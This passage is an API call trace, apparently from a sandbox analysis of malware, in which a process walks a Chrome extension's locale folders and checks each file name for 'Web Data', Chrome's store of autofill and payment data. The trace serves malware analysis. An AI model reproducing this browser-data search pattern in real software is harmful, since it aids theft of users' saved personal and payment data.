lstrlenA (lpString="\\") returned 1 [0054.356] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x75c6a0 [0054.356] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.356] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 120 [0054.356] lstrlenA (lpString="_locales") returned 8 [0054.356] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x75c7a8 [0054.356] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.356] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.356] LocalFree (hMem=0x75c6a0) returned 0x0 [0054.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.356] lstrlenA (lpString="\\*.*") returned 4 [0054.356] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x74cdf0 [0054.356] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.356] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*" [0054.356] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.357] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.357] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.357] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.357] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.357] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.357] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0054.357] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0054.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.357] lstrlenA (lpString="\\") returned 1 [0054.357] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.357] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.357] lstrlenA (lpString="ar") returned 2 [0054.357] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.357] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0054.358] LocalFree (hMem=0x74cf00) returned 0x0 [0054.358] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 131 [0054.358] lstrlenA (lpString="\\*.*") returned 4 [0054.358] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.358] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0054.358] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*" [0054.358] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.358] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.358] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.358] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.359] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.359] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.359] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.359] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.359] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.359] LocalFree (hMem=0x74cf00) returned 0x0 [0054.359] LocalFree (hMem=0x74d010) returned 0x0 [0054.359] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.359] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0054.359] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0054.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.359] lstrlenA (lpString="\\") returned 1 [0054.359] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.359] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.359] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.359] lstrlenA (lpString="bg") returned 2 [0054.359] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.359] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.359] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0054.359] LocalFree (hMem=0x74cf00) returned 0x0 [0054.359] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 131 [0054.359] lstrlenA (lpString="\\*.*") returned 4 [0054.359] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.359] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0054.359] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*" [0054.359] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.360] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.360] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.360] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.360] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.360] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.360] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.360] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.360] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.360] LocalFree (hMem=0x74cf00) returned 0x0 [0054.360] LocalFree (hMem=0x74d010) returned 0x0 [0054.360] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.360] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0054.360] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0054.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.360] lstrlenA (lpString="\\") returned 1 [0054.360] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.360] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.360] lstrlenA (lpString="ca") returned 2 [0054.360] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.360] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0054.360] LocalFree (hMem=0x74cf00) returned 0x0 [0054.360] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 131 [0054.360] lstrlenA (lpString="\\*.*") returned 4 [0054.360] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.360] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0054.360] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*" [0054.360] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.361] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.361] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.361] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.361] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.361] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.361] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.361] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.361] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.361] LocalFree (hMem=0x74cf00) returned 0x0 [0054.361] LocalFree (hMem=0x74d010) returned 0x0 [0054.361] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.361] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0054.361] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0054.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.361] lstrlenA (lpString="\\") returned 1 [0054.361] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.361] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.361] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.361] lstrlenA (lpString="cs") returned 2 [0054.361] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.361] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.361] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0054.361] LocalFree (hMem=0x74cf00) returned 0x0 [0054.361] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 131 [0054.361] lstrlenA (lpString="\\*.*") returned 4 [0054.361] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.361] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" 